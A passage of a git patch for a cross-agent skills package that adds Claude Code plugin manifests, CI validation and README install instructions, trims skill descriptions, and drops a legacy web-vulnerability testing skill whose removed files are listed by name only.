From 2f44a6813a5884567e70fb2449a8fed60212d100 Mon Sep 17 00:00:00 2001 From: Wayner Barrios Date: Thu, 13 Aug 2026 15:58:01 -0500 Subject: [PATCH] feat: add Claude Code packaging and skill quality gates - add native Claude Code plugin and marketplace manifests - document Claude Code installation, invocation, updates, and removal - reduce routing metadata and enforce a catalog budget - validate Agent Skills and Claude manifests in CI - remove wooyun-legacy from the package and provenance - update package metadata and tests for the 54-skill catalog --- .agents/plugins/marketplace.json | 2 +- .claude-plugin/marketplace.json | 23 + .claude-plugin/plugin.json | 25 + .codex-plugin/plugin.json | 9 +- .github/workflows/ci.yml | 9 + .github/workflows/claude-smoke.yml | 23 + README.md | 89 +- THIRD_PARTY_NOTICES.md | 4 +- UPSTREAMS.json | 13 - package.json | 3 +- skills/agentic-actions-auditor/SKILL.md | 2 +- skills/codeql/SKILL.md | 2 +- skills/hf-cli/SKILL.md | 2 +- .../hf-cloud-aws-context-discovery/SKILL.md | 2 +- skills/hf-cloud-python-env-setup/SKILL.md | 2 +- .../SKILL.md | 2 +- .../hf-cloud-sagemaker-iam-preflight/SKILL.md | 2 +- .../SKILL.md | 2 +- .../hf-cloud-serving-image-selection/SKILL.md | 2 +- skills/huggingface-best/SKILL.md | 2 +- skills/huggingface-llm-trainer/SKILL.md | 2 +- .../huggingface-lora-space-builder/SKILL.md | 4 +- skills/huggingface-spaces/SKILL.md | 2 +- skills/huggingface-vision-trainer/SKILL.md | 2 +- skills/huggingface-zerogpu/SKILL.md | 2 +- skills/security-threat-model/SKILL.md | 2 +- skills/semgrep/SKILL.md | 2 +- skills/sharp-edges/SKILL.md | 2 +- skills/train-sentence-transformers/SKILL.md | 2 +- skills/transformers-js/SKILL.md | 2 +- skills/vuln-report/SKILL.md | 2 +- skills/wooyun-legacy/SKILL.md | 357 ----- .../references/bank-penetration.md | 222 --- .../checklists/command-execution-checklist.md | 119 -- .../references/checklists/csrf-checklist.md | 74 - .../checklists/file-upload-checklist.md | 108 -- .../checklists/info-disclosure-checklist.md | 114 -- .../checklists/logic-flaws-checklist.md | 95 -- .../checklists/misconfig-checklist.md | 124 -- .../checklists/path-traversal-checklist.md | 87 -- .../references/checklists/rce-checklist.md | 93 -- .../checklists/sql-injection-checklist.md | 97 -- .../references/checklists/ssrf-checklist.md | 99 -- .../unauthorized-access-checklist.md | 89 -- .../checklists/weak-password-checklist.md | 115 -- .../references/checklists/xss-checklist.md | 103 -- .../references/checklists/xxe-checklist.md | 130 -- .../references/info-disclosure.md | 975 -------------- .../wooyun-legacy/references/logic-flaws.md | 721 ---------- .../references/path-traversal.md | 1191 ----------------- .../references/telecom-penetration.md | 156 --- .../references/unauthorized-access.md | 980 -------------- skills/wooyun-legacy/references/xss.md | 746 ----------- skillsets.json | 3 +- tests/claude-plugin.test.mjs | 50 + tests/codex-plugin.test.mjs | 8 +- tests/package-surface.test.mjs | 5 + tests/pi-package.test.mjs | 4 +- tests/skill-lint.test.mjs | 12 +- 59 files changed, 260 insertions(+), 6861 deletions(-) create mode 100644 .claude-plugin/marketplace.json create mode 100644 .claude-plugin/plugin.json create mode 100644 .github/workflows/claude-smoke.yml delete mode 100644 skills/wooyun-legacy/SKILL.md delete mode 100644 skills/wooyun-legacy/references/bank-penetration.md delete mode 100644 skills/wooyun-legacy/references/checklists/command-execution-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/csrf-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/file-upload-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/misconfig-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/path-traversal-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/rce-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/sql-injection-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/ssrf-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/weak-password-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/xss-checklist.md delete mode 100644 skills/wooyun-legacy/references/checklists/xxe-checklist.md delete mode 100644 skills/wooyun-legacy/references/info-disclosure.md delete mode 100644 skills/wooyun-legacy/references/logic-flaws.md delete mode 100644 skills/wooyun-legacy/references/path-traversal.md delete mode 100644 skills/wooyun-legacy/references/telecom-penetration.md delete mode 100644 skills/wooyun-legacy/references/unauthorized-access.md delete mode 100644 skills/wooyun-legacy/references/xss.md create mode 100644 tests/claude-plugin.test.mjs diff --git a/.agents/plugins/marketplace.json b/.agents/plugins/marketplace.json index 6c136d9..fe241b5 100644 --- a/.agents/plugins/marketplace.json +++ b/.agents/plugins/marketplace.json @@ -1,7 +1,7 @@ { "name": "opencode-power-pack", "interface": { - "displayName": "Codex + OpenCode + Pi Power Pack" + "displayName": "Claude Code + Codex + OpenCode + Pi Power Pack" }, "plugins": [ { diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json new file mode 100644 index 0000000..d05c448 --- /dev/null +++ b/.claude-plugin/marketplace.json @@ -0,0 +1,23 @@ +{ + "$schema": "https://json.schemastore.org/claude-code-marketplace.json", + "name": "opencode-power-pack", + "owner": { + "name": "Wayner Barrios", + "url": "https://github.com/waybarrios" + }, + "description": "Portable software-development skills for Claude Code, Codex, OpenCode, and Pi.", + "plugins": [ + { + "name": "opencode-power-pack", + "source": "./", + "description": "Fifty-four workflows for review, security, feature development, frontend work, authoring, and ML tooling.", + "category": "productivity", + "tags": [ + "software-development", + "code-review", + "security", + "skills" + ] + } + ] +} diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json new file mode 100644 index 0000000..3bc8881 --- /dev/null +++ b/.claude-plugin/plugin.json @@ -0,0 +1,25 @@ +{ + "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", + "name": "opencode-power-pack", + "displayName": "OpenCode Power Pack", + "version": "0.4.0", + "description": "Fifty-four software-development workflows for Claude Code, Codex, OpenCode, and Pi.", + "author": { + "name": "Wayner Barrios", + "url": "https://github.com/waybarrios" + }, + "homepage": "https://github.com/waybarrios/opencode-power-pack", + "repository": "https://github.com/waybarrios/opencode-power-pack", + "license": "MIT AND Apache-2.0", + "keywords": [ + "claude-code", + "codex", + "opencode", + "pi", + "skills", + "code-review", + "security-review", + "feature-development" + ], + "skills": "./skills/" +} diff --git a/.codex-plugin/plugin.json b/.codex-plugin/plugin.json index 27535f9..0980725 100644 --- a/.codex-plugin/plugin.json +++ b/.codex-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "opencode-power-pack", "version": "0.4.0", - "description": "Fifty-five Claude Code workflows packaged for Codex, OpenCode, and Pi.", + "description": "Fifty-four software-development workflows for Claude Code, Codex, OpenCode, and Pi.", "author": { "name": "Wayner Barrios", "url": "https://github.com/waybarrios" @@ -13,6 +13,7 @@ "codex", "codex-cli", "openai-codex", + "claude-code", "opencode", "pi", "pi-coding-agent", @@ -23,9 +24,9 @@ ], "skills": "./skills/", "interface": { - "displayName": "OpenCode + Codex Power Pack", - "shortDescription": "Fifty-five workflows for Codex, OpenCode, and Pi", - "longDescription": "Review code, audit security, design and implement features, build MCP servers, and maintain project guidance with reusable workflows for Codex, OpenCode, and Pi.", + "displayName": "Cross-Agent Power Pack", + "shortDescription": "Fifty-four workflows for Claude Code, Codex, OpenCode, and Pi", + "longDescription": "Review code, audit security, design and implement features, build MCP servers, and maintain project guidance with reusable workflows for Claude Code, Codex, OpenCode, and Pi.", "developerName": "Wayner Barrios", "category": "Productivity", "capabilities": [ diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1543238..be523d6 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -14,3 +14,12 @@ jobs: with: node-version: "lts/*" - run: node --test + - uses: actions/setup-python@v5 + with: + python-version: "3.x" + - name: Validate Agent Skills specification + run: | + python -m pip install skills-ref==0.1.1 + for skill in skills/*; do + agentskills validate "$skill" + done diff --git a/.github/workflows/claude-smoke.yml b/.github/workflows/claude-smoke.yml new file mode 100644 index 0000000..4b530ca --- /dev/null +++ b/.github/workflows/claude-smoke.yml @@ -0,0 +1,23 @@ +name: Claude Code smoke + +on: + pull_request: + paths: + - ".claude-plugin/**" + - "skills/**" + - "package.json" + - "README.md" + - ".github/workflows/claude-smoke.yml" + workflow_dispatch: + +jobs: + claude-2-1-231: + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "lts/*" + - name: Validate plugin and marketplace manifests + run: npx --yes @anthropic-ai/claude-code@2.1.231 plugin validate . --strict diff --git a/README.md b/README.md index 3b73430..6ca029e 100644 --- a/README.md +++ b/README.md @@ -2,10 +2,10 @@ opencode-power-pack

-

OpenCode Power Pack for Codex, OpenCode + Pi

+

OpenCode Power Pack for Claude Code, Codex, OpenCode + Pi

- Fifty-five Claude Code workflows, adapted for Codex, OpenCode, and Pi.
+ Fifty-four portable workflows for Claude Code, Codex, OpenCode, and Pi.
Code review, security audit, feature development, frontend design, project memory, and authoring tools.

@@ -14,7 +14,8 @@ GitHub stars Last commit GitHub issues - Skills: 55 + Skills: 54 + Claude Code plugin OpenCode 1.18.7+ Codex plugin Pi package @@ -23,6 +24,7 @@

Install · Select Skills · + Claude Code · Codex Quick Install · Pi Quick Install · Skills · @@ -31,6 +33,17 @@ Credits

+## Claude Code Quick Install + +Run these commands inside Claude Code: + +```text +/plugin marketplace add waybarrios/opencode-power-pack +/plugin install opencode-power-pack@opencode-power-pack +``` + +Run `/reload-plugins` if the installation summary requests it. Skills are namespaced to avoid collisions, so explicit invocations use names such as `/opencode-power-pack:code-review` and `/opencode-power-pack:feature-dev`. + ## Codex Quick Install ```bash @@ -46,7 +59,7 @@ Start a new Codex session, open `/plugins` to confirm the installation, or invok pi install git:github.com/waybarrios/opencode-power-pack ``` -Pi discovers the fifty-five skills declared by the package. Use `pi list` to verify the installation. For a project-local installation recorded in `.pi/settings.json`, add `-l`: +Pi discovers the fifty-four skills declared by the package. Use `pi list` to verify the installation. For a project-local installation recorded in `.pi/settings.json`, add `-l`: ```bash pi install git:github.com/waybarrios/opencode-power-pack -l @@ -89,13 +102,13 @@ npx opencode-power-pack@latest install --profile review --force Profiles automatically include required companion skills and can be combined with individual skill names. The default destination is `~/.agents/skills`; `--project` finds the current Git root and installs into its `.agents/skills` directory. Existing directories are skipped unless `--force` is provided, and replacements are staged with rollback plus per-skill locking. Every copied skill retains its provenance, third-party notices, and license texts. Use `--dry-run` to preview or `--all` to install the complete catalog. -The npm installer and the full Codex/OpenCode plugin are alternative activation paths. If the full plugin is already active, selectively copying the same skills does not reduce that plugin's loaded catalog. +The npm installer and the full Claude Code/Codex/OpenCode plugins are alternative activation paths. Claude Code users should prefer the namespaced plugin because the selective installer currently targets the portable `.agents/skills` location used by Codex, OpenCode, and Pi. If a full plugin is already active, selectively copying the same skills does not reduce that plugin's loaded catalog. ## Why This Exists -Codex, OpenCode, and Pi read `SKILL.md` workflows, but many valuable Claude Code workflows originated as Claude-specific commands and agents. Copying those artifacts directly does not preserve their orchestration, permissions, or subagent behavior. +Claude Code, Codex, OpenCode, and Pi read `SKILL.md` workflows, but many valuable workflows originated as Claude-specific commands and agents. Copying those artifacts directly does not preserve their orchestration, permissions, or subagent behavior. -This package adapts the portable methodology into shared skills, registers feature-development specialist roles as read-only OpenCode subagents, lets Codex execute the same phase assignments with its native subagent workflow, and exposes all fifty-five skills as a Pi package. It ships immutable provenance for every upstream work. +This package exposes the shared skills as a namespaced Claude Code plugin, registers feature-development specialist roles as read-only OpenCode subagents, lets Codex execute the same phase assignments with its native subagent workflow, and exposes all fifty-four skills as a Pi package. It ships immutable provenance for every upstream work. It complements [obra/superpowers](https://github.com/obra/superpowers), which provides process skills such as brainstorming, TDD, debugging, and plan execution. @@ -119,7 +132,6 @@ It complements [obra/superpowers](https://github.com/obra/superpowers), which pr | Review | `semgrep-rule-creator` | Write custom Semgrep rules for a specific vulnerability/bug pattern | | Review | `semgrep-rule-variant-creator` | Port an existing Semgrep rule to additional target languages | | Review | `codeql` | Run a CodeQL scan using interprocedural data flow and taint tracking | -| Review | `wooyun-legacy` | Web vulnerability testing methodology distilled from 88k+ real-world disclosure cases | | Feature development | `feature-dev` | Seven-phase workflow from discovery through implementation and review | | Feature development | `code-explorer` | Trace a feature across entry points, layers, state, and dependencies | | Feature development | `code-architect` | Produce a file-level architecture and implementation blueprint | @@ -169,7 +181,7 @@ It complements [obra/superpowers](https://github.com/obra/superpowers), which pr | One file, function, or small local change | `code-reviewer` (Focused Code Review) | Uses a lighter two-pass review with full-file and caller context | | `feature-dev` quality phase | `code-reviewer` (Focused Code Review) | Acts as the focused specialist role dispatched by the feature workflow | -They are complementary rather than duplicate workflows. Codex shows the distinct user-facing titles above, while the stable skill IDs continue to work across Codex, OpenCode, and Pi. Start with `code-review` for merge decisions and `code-reviewer` for focused iteration. +They are complementary rather than duplicate workflows. Codex shows distinct user-facing titles, Claude Code namespaces both under `opencode-power-pack`, and the stable skill IDs continue to work across every host. Start with `code-review` for merge decisions and `code-reviewer` for focused iteration. ## Installation @@ -178,10 +190,22 @@ They are complementary rather than duplicate workflows. Codex shows the distinct - Git - Node.js 20 or newer, including npm/npx, for [selective installation](#selective-install-with-npm) - One supported host: + - A current Claude Code installation with plugin support: - OpenCode 1.18.7 or newer: - A current Codex CLI or Codex desktop environment with plugin support: - A current Pi coding agent installation: +### Claude Code + +Add the repository marketplace and install its plugin from inside Claude Code: + +```text +/plugin marketplace add waybarrios/opencode-power-pack +/plugin install opencode-power-pack@opencode-power-pack +``` + +Run `/reload-plugins` if prompted. Claude Code loads plugin skills from the repository-level `skills/` directory and prefixes them with the plugin namespace, preventing collisions with built-in or separately installed skills. For local development, run `claude --plugin-dir .` from a clone of this repository. + ### Codex CLI And Desktop Add this repository as a marketplace, then install the plugin: @@ -192,7 +216,7 @@ codex plugin add opencode-power-pack@opencode-power-pack codex plugin list --marketplace opencode-power-pack ``` -Start a new Codex session after installation so the fifty-five bundled skills are loaded. Use `/plugins` to inspect the installed plugin or `$` to select one of its skills explicitly. Codex plugin packaging follows the [official plugin structure](https://developers.openai.com/plugins/build/plugins). +Start a new Codex session after installation so the fifty-four bundled skills are loaded. Use `/plugins` to inspect the installed plugin or `$` to select one of its skills explicitly. Codex plugin packaging follows the [official plugin structure](https://developers.openai.com/plugins/build/plugins). For a smaller personal or repository-specific set, use the [selective npm installer](#selective-install-with-npm) instead of the full plugin. @@ -229,6 +253,16 @@ Pi installs the Git package and loads the `skills/` directory declared in `packa Pi can also narrow an installed package through `pi config`. The npm installer is useful when you want the same selected set to be discovered by Pi, Codex, and OpenCode from `.agents/skills`. +### Verify Claude Code + +From a local clone, validate both the plugin and marketplace manifests: + +```bash +claude plugin validate . --strict +``` + +After marketplace installation, run `/plugin` and confirm that `opencode-power-pack` is enabled. Invoke `/opencode-power-pack:code-review` for a first test. + ### Verify OpenCode ```bash @@ -236,7 +270,7 @@ opencode debug skill opencode debug agent code-explorer ``` -The first command should include all fifty-five unprefixed skill names. The second should report a `subagent` with editing denied. In the TUI, `ctrl+p` should list `/code-review`, `/feature-dev`, `/frontend-design`, and the other skill-derived commands. +The first command should include all fifty-four unprefixed skill names. The second should report a `subagent` with editing denied. In the TUI, `ctrl+p` should list `/code-review`, `/feature-dev`, `/frontend-design`, and the other skill-derived commands. ### Verify Codex @@ -256,6 +290,15 @@ The package list should include the Git source for `waybarrios/opencode-power-pa ## Updating +For Claude Code: + +```text +/plugin marketplace update opencode-power-pack +/plugin update opencode-power-pack@opencode-power-pack +``` + +Run `/reload-plugins` if prompted. + For Codex: ```bash @@ -281,6 +324,12 @@ Restart OpenCode after the command finishes. For a pinned installation, update t ## Uninstalling +For Claude Code: + +```text +/plugin uninstall opencode-power-pack@opencode-power-pack +``` + For Codex: ```bash @@ -299,6 +348,8 @@ For OpenCode, remove the `opencode-power-pack@...` entry from the `plugin` array | Symptom | Cause | Fix | |---|---|---| +| Claude Code cannot add the marketplace | The checkout predates `.claude-plugin/marketplace.json` or the repository is inaccessible | Update the checkout, verify repository access, and run `claude plugin validate . --strict` locally | +| Claude Code installed the plugin but a skill name conflicts | The unprefixed skill came from another source | Invoke the namespaced form, such as `/opencode-power-pack:code-review` | | Codex cannot find the marketplace | Marketplace snapshot is missing or stale | Run `codex plugin marketplace add waybarrios/opencode-power-pack --ref main`, or upgrade the existing marketplace | | Codex installed the plugin but skills do not appear | The current session predates installation | Start a new Codex session and inspect `/plugins` | | Pi does not show the skills | Package is absent, disabled, or the session predates installation | Run `pi list`, inspect `pi config`, and start a new Pi session | @@ -310,7 +361,7 @@ For OpenCode, remove the `opencode-power-pack@...` entry from the `plugin` array ## Invocation -Codex exposes installed skills through `$` mentions, OpenCode 1.18.7+ exposes each discovered skill as a same-named slash command, and Pi loads the workflows from the installed skills package: +Claude Code exposes plugin skills as `/opencode-power-pack:`, Codex uses `$` mentions, OpenCode 1.18.7+ exposes same-named slash commands, and Pi loads workflows from the installed skills package: ```text /code-review @@ -336,6 +387,8 @@ $feature-dev add a logout button to the topbar /feature-dev add a logout button to the topbar /security-review /frontend-design pricing page, brutalist tone, single-screen +/opencode-power-pack:code-review +/opencode-power-pack:feature-dev add a logout button to the topbar ``` In OpenCode, an explicit command with the same name takes precedence over a skill-derived command. @@ -345,6 +398,10 @@ In OpenCode, an explicit command with the same name takes precedence over a skil ```text opencode-power-pack | ++-- .claude-plugin/ +| +-- plugin.json declares the namespaced Claude Code plugin +| +-- marketplace.json makes the repository installable in Claude Code +| +-- .codex-plugin/plugin.json | +-- packages all skills/ for Codex and compatible plugin surfaces | @@ -369,7 +426,7 @@ opencode-power-pack +-- repository, commit, path, blob, date, and adaptation type ``` -Each `SKILL.md` is the single source for its workflow. The OpenCode plugin derives specialist-agent prompts from those files at startup. Codex loads the same skills from the plugin and follows `feature-dev`'s specialist assignments with its native subagent workflow; installing a skill does not itself create a named custom agent. +Each `SKILL.md` is the single source for its workflow. Claude Code loads the directory through its plugin namespace. The OpenCode plugin derives specialist-agent prompts from those files at startup. Codex loads the same skills from its plugin and follows `feature-dev`'s specialist assignments with its native subagent workflow; installing a skill does not itself create a named custom agent. The packaged agents deny edits, external network access, and nested tasks. `code-reviewer` additionally allows a narrow set of read-only Git commands. @@ -377,8 +434,8 @@ The packaged agents deny edits, external network access, and nested tasks. `code | In scope | Out of scope | |---|---| -| Portable Claude Code workflow methodology | Claude Code hook contracts | -| Codex, OpenCode, and Pi skills, invocation, and subagent orchestration | Proprietary or non-redistributable plugins | +| Claude Code, Codex, OpenCode, and Pi skills and invocation | Claude Code hook contracts | +| Portable and host-native subagent orchestration | Proprietary or non-redistributable plugins | | Licensed adaptations with immutable provenance | Automatic trust of third-party skill catalogs | | Explicit permission boundaries and regression tests | Supporting OpenCode versions older than 1.18.7 or obsolete Codex plugin formats | @@ -411,7 +468,7 @@ Every skill must use a lowercase hyphenated directory/name, provide a trigger-sp ## Acknowledgments -The bundled skills are modified upstream works. This repository contributes their Codex, OpenCode, and Pi adaptation, packaging, additional workflow guidance, tests, and compatibility layer. +The bundled skills are modified upstream works. This repository contributes their Claude Code, Codex, OpenCode, and Pi packaging, additional workflow guidance, tests, and compatibility layer. | Upstream | Pinned source | Used for | |---|---|---| diff --git a/THIRD_PARTY_NOTICES.md b/THIRD_PARTY_NOTICES.md index 5fa3ba8..3c42d0f 100644 --- a/THIRD_PARTY_NOTICES.md +++ b/THIRD_PARTY_NOTICES.md @@ -33,8 +33,8 @@ Copyright 2026 Firstpick. The upstream notice is available at The modified `supply-chain-risk-auditor`, `sharp-edges`, `insecure-defaults`, `fp-check`, `vuln-report`, `agentic-actions-auditor`, `security-threat-model`, `differential-review`, `variant-analysis`, `sarif-parsing`, -`semgrep-rule-creator`, `semgrep-rule-variant-creator`, `semgrep`, `codeql`, -and `wooyun-legacy` skills derive from the MIT-licensed `vigolium/piolium` +`semgrep-rule-creator`, `semgrep-rule-variant-creator`, `semgrep`, and `codeql` +skills derive from the MIT-licensed `vigolium/piolium` repository, including their `references/`, `resources/`, and `workflows/` support files. Frontmatter `allowed-tools` lists, an unfilled Apache-2.0 license template accidentally left in the `security-threat-model` directory, diff --git a/UPSTREAMS.json b/UPSTREAMS.json index 5d1fba7..fece8a0 100644 --- a/UPSTREAMS.json +++ b/UPSTREAMS.json @@ -717,19 +717,6 @@ "path": "skills/vuln-report/SKILL.md", "blob": "bce9e57c7d3fccf8183a96d641a35f47ace4cdeb" } - }, - { - "name": "wooyun-legacy", - "license": "MIT", - "adaptation": "adapted", - "reviewedAt": "2026-08-02", - "source": { - "repository": "https://github.com/vigolium/piolium", - "commit": "890888a20d52a9378d20bbbc7b8850483d97362a", - "committedAt": "2026-05-23T20:30:16+08:00", - "path": "skills/wooyun-legacy/SKILL.md", - "blob": "741a35ab4dd0486d32c3030be1ee1d9fd87cfe3a" - } } ] } diff --git a/package.json b/package.json index eea10f4..bce0c13 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "opencode-power-pack", "version": "0.4.0", - "description": "Fifty-five Claude Code workflows packaged for Codex, OpenCode, and Pi: code review, feature development, security review, frontend design, authoring, and project memory.", + "description": "Fifty-four software-development workflows for Claude Code, Codex, OpenCode, and Pi: code review, feature development, security review, frontend design, authoring, and project memory.", "type": "module", "main": ".opencode/plugins/opencode-power-pack.js", "bin": { @@ -17,6 +17,7 @@ }, "files": [ "skills", + ".claude-plugin", ".codex-plugin", ".opencode", "bin", diff --git a/skills/agentic-actions-auditor/SKILL.md b/skills/agentic-actions-auditor/SKILL.md index 83e5ccd..c7d73aa 100644 --- a/skills/agentic-actions-auditor/SKILL.md +++ b/skills/agentic-actions-auditor/SKILL.md @@ -1,6 +1,6 @@ --- name: agentic-actions-auditor -description: "Audits GitHub Actions workflows for security vulnerabilities in AI agent integrations including Claude Code Action, Gemini CLI, OpenAI Codex, and GitHub AI Inference. Detects attack vectors where attacker-controlled input reaches AI agents running in CI/CD pipelines, including env var intermediary patterns, direct expression injection, dangerous sandbox configurations, and wildcard user allowlists. Use when reviewing workflow files that invoke AI coding agents, auditing CI/CD pipeline security for prompt injection risks, or evaluating agentic action configurations." +description: "Audit GitHub Actions that run AI agents for prompt injection, unsafe interpolation, sandbox gaps, and permissive actor rules. Use for agentic CI workflows, not general application code review." license: MIT (modified; see UPSTREAMS.json) --- diff --git a/skills/codeql/SKILL.md b/skills/codeql/SKILL.md index 12c4820..8780f3d 100644 --- a/skills/codeql/SKILL.md +++ b/skills/codeql/SKILL.md @@ -1,6 +1,6 @@ --- name: codeql -description: "Scans a codebase for security vulnerabilities using CodeQL's interprocedural data flow and taint tracking analysis. Triggers on \"run codeql\", \"codeql scan\", \"codeql analysis\", \"build codeql database\", or \"find vulnerabilities with codeql\". Supports \"run all\" (security-and-quality suite) and \"important only\" (high-precision security findings) scan modes. Also handles creating data extension models and processing CodeQL SARIF output." +description: "Run CodeQL database creation and security queries, add data-extension models, or process CodeQL SARIF. Use when CodeQL is explicitly requested; use security-review for a broader manual security review." license: MIT (modified; see UPSTREAMS.json) --- diff --git a/skills/hf-cli/SKILL.md b/skills/hf-cli/SKILL.md index 88b7055..4c6b889 100644 --- a/skills/hf-cli/SKILL.md +++ b/skills/hf-cli/SKILL.md @@ -1,6 +1,6 @@ --- name: hf-cli -description: "Hugging Face Hub CLI (`hf`) for downloading, uploading, and managing models, datasets, spaces, buckets, repos, papers, jobs, and more on the Hugging Face Hub. Use when: handling authentication; managing local cache; managing Hugging Face Buckets; running or scheduling jobs on Hugging Face infrastructure; managing Hugging Face repos; discussions and pull requests; browsing models, datasets and spaces; reading, searching, or browsing academic papers; managing collections; querying datasets; configuring spaces; setting up webhooks; or deploying and managing HF Inference Endpoints. Make sure to use this skill whenever the user mentions 'hf', 'huggingface', 'Hugging Face', 'huggingface-cli', or 'hugging face cli', or wants to do anything related to the Hugging Face ecosystem and to AI and ML in general. Also use for cloud storage needs like training checkpoints, data pipelines, or agent traces. Use even if the user doesn't explicitly ask for a CLI command. Replaces the deprecated `huggingface-cli`." +description: "Use the `hf` CLI for Hub authentication, downloads, uploads, repositories, cache, jobs, buckets, webhooks, and endpoint administration. Use for CLI operations, not model recommendations, paper analysis, training design, or building a Space." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/hf-cloud-aws-context-discovery/SKILL.md b/skills/hf-cloud-aws-context-discovery/SKILL.md index e76957c..f0b5529 100644 --- a/skills/hf-cloud-aws-context-discovery/SKILL.md +++ b/skills/hf-cloud-aws-context-discovery/SKILL.md @@ -1,6 +1,6 @@ --- name: hf-cloud-aws-context-discovery -description: Discover the user's local AWS context (active profile, region, account ID, caller identity) at the start of any AWS task. Use this skill before any other AWS work — deploying to SageMaker, creating resources, calling AWS APIs, or anything that touches an AWS account. Use it especially when the user has not specified a region or profile explicitly, when they say things like "use my AWS account", "deploy to AWS", "use my profile", or when about to make any AWS CLI or SDK call. Never guess the region or account ID — always use this skill to read it from the local configuration first. +description: "Discover the active AWS profile, region, account, and caller identity before SageMaker or AWS work. Use when local AWS context is needed or unspecified; do not use for cloud-agnostic model planning." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/hf-cloud-python-env-setup/SKILL.md b/skills/hf-cloud-python-env-setup/SKILL.md index 00d2ee3..64a52ce 100644 --- a/skills/hf-cloud-python-env-setup/SKILL.md +++ b/skills/hf-cloud-python-env-setup/SKILL.md @@ -1,6 +1,6 @@ --- name: hf-cloud-python-env-setup -description: 'Set up an isolated Python environment for SageMaker / AWS work, with the right Python version and current boto3. Use this skill whenever Python code will be executed for a SageMaker deployment, training job, or any AWS automation — including when about to run `pip install`, when about to invoke `boto3`, when creating or activating a virtualenv, or when the user asks to "set up the environment". Never use system Python and never `pip install` into it. Always isolate. This skill prevents the most common failure modes: wrong Python version, dependency conflicts, and stale SDKs.' +description: "Create an isolated Python environment with a compatible Python version and boto3 for SageMaker or AWS automation. Use before executing AWS Python code; do not use for general Python environment setup." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/hf-cloud-sagemaker-deployment-planner/SKILL.md b/skills/hf-cloud-sagemaker-deployment-planner/SKILL.md index 184500b..d76489a 100644 --- a/skills/hf-cloud-sagemaker-deployment-planner/SKILL.md +++ b/skills/hf-cloud-sagemaker-deployment-planner/SKILL.md @@ -1,6 +1,6 @@ --- name: hf-cloud-sagemaker-deployment-planner -description: 'Plan and coordinate the deployment of a model to Amazon SageMaker AI. Use this skill whenever the user wants to deploy, host, serve, or expose a model on SageMaker or AWS — including phrases like "deploy a model", "host this LLM on AWS", "serve this embedding model", "deploy a reranker", "deploy a text-to-image / diffusion model", "host this for async inference", "create an endpoint", "serve my fine-tuned model", or any request that involves making a model available for inference on AWS. Use this even when the user is vague (e.g. "I just want to get this running on AWS, you figure it out"). Works for text-generation LLMs, embedding models, rerankers, classifiers, text-to-image / diffusion models — picks the right serving stack and chooses between real-time and async inference. This is the entry-point skill for SageMaker deployment work — it asks clarifying questions, picks a deployment pathway, and coordinates the other deployment skills.' +description: "Plan and coordinate a model deployment to Amazon SageMaker, including serving stack and real-time versus async inference. Use as the entry point for SageMaker hosting requests, before image, IAM, and endpoint implementation skills." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/hf-cloud-sagemaker-iam-preflight/SKILL.md b/skills/hf-cloud-sagemaker-iam-preflight/SKILL.md index 701f04f..1d7cb96 100644 --- a/skills/hf-cloud-sagemaker-iam-preflight/SKILL.md +++ b/skills/hf-cloud-sagemaker-iam-preflight/SKILL.md @@ -1,6 +1,6 @@ --- name: hf-cloud-sagemaker-iam-preflight -description: 'Ensure a usable SageMaker execution role exists before deploying or training. Use this skill whenever about to create a SageMaker endpoint, model, training job, or any resource that requires an execution role. Use it especially when the user has not provided a role ARN explicitly, when scripts are about to call `iam:CreateRole`, or when an AccessDenied error mentions an IAM action. Never blindly call `iam:CreateRole` — always check for existing roles first. This skill prevents the most common SageMaker deployment failure: trying to create IAM resources from an SSO principal that has no IAM write permissions.' +description: "Verify or select a SageMaker execution role before creating models, endpoints, or training jobs. Use when a role ARN is missing or IAM access fails; inspect existing roles before proposing role creation." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/hf-cloud-sagemaker-production-defaults/SKILL.md b/skills/hf-cloud-sagemaker-production-defaults/SKILL.md index c8db2fd..048a6b5 100644 --- a/skills/hf-cloud-sagemaker-production-defaults/SKILL.md +++ b/skills/hf-cloud-sagemaker-production-defaults/SKILL.md @@ -1,6 +1,6 @@ --- name: hf-cloud-sagemaker-production-defaults -description: 'Create a SageMaker endpoint (real-time or async) with autoscaling, CloudWatch alarms, and tagging enabled by default. Use this skill whenever about to create a SageMaker endpoint, write deployment code that calls `create_endpoint`, or finalize a deployment after the image URI and IAM role are known. Provides deploy.py for real-time endpoints and deploy_async.py for async endpoints (with genuine scale-to-zero support). This is the last step in the SageMaker deployment workflow. Never generate a bare `create_endpoint` call without these defaults — endpoints without autoscaling or alarms are demos, not deployments.' +description: "Implement a production SageMaker endpoint with autoscaling, CloudWatch alarms, and tags. Use after the serving image and IAM role are known; use the deployment planner first when architecture is undecided." license: Apache-2.0 (modified; see UPSTREAMS.json) --- diff --git a/skills/hf-cloud-serving-image-selection/SKILL.md b/skills/hf-cloud-serving-image-selection/SKILL.md index ee9c8e4..1361c7b 100644 --- a/skills/hf-cloud-serving-image-selection/SKILL.md +++ 